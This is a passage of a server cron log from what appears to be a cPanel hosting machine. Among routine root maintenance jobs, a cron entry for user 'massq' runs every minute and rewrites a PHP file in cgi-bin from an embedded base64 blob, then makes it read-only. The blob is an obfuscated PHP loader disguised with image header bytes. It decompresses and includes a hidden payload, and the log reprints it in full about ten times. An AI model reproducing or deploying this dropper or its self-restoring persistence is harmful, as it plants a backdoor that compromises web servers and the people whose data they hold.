"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:10:02 server CROND[13210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:10:02 server CROND[13212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:10:02 server CROND[13214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:10:02 server CROND[13213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:11:01 server CROND[14031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:11:01 server CROND[14032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:11:01 server CROND[14033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:12:01 server CROND[14416]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 04:12:01 server CROND[14415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:12:01 server CROND[14418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:12:01 server CROND[14417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:13:01 server CROND[14893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:13:01 server CROND[14892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:13:01 server CROND[14894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:14:01 server CROND[15307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:14:01 server CROND[15308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:14:01 server CROND[15309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:15:01 server CROND[15690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:15:01 server CROND[15691]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:15:01 server CROND[15694]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:15:01 server CROND[15695]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:15:01 server CROND[15696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:15:01 server CROND[15698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:15:01 server CROND[15699]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 04:15:01 server CROND[15702]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 04:15:01 server CROND[15700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:16:01 server CROND[16534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:16:01 server CROND[16536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:16:01 server CROND[16535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:17:01 server CROND[16900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:17:01 server CROND[16903]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep 10 04:17:01 server CROND[16901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:17:01 server CROND[16902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:18:01 server CROND[17376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:18:01 server CROND[17377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:18:01 server CROND[17379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:19:01 server CROND[17890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:19:01 server CROND[17889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:19:01 server CROND[17891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:20:01 server CROND[18268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:20:01 server CROND[18269]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 04:20:01 server CROND[18270]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:20:01 server CROND[18272]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:20:01 server CROND[18273]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:20:01 server CROND[18271]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:20:01 server CROND[18277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:20:01 server CROND[18276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:20:01 server CROND[18275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:21:01 server CROND[19103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:21:01 server CROND[19104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:21:01 server CROND[19105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
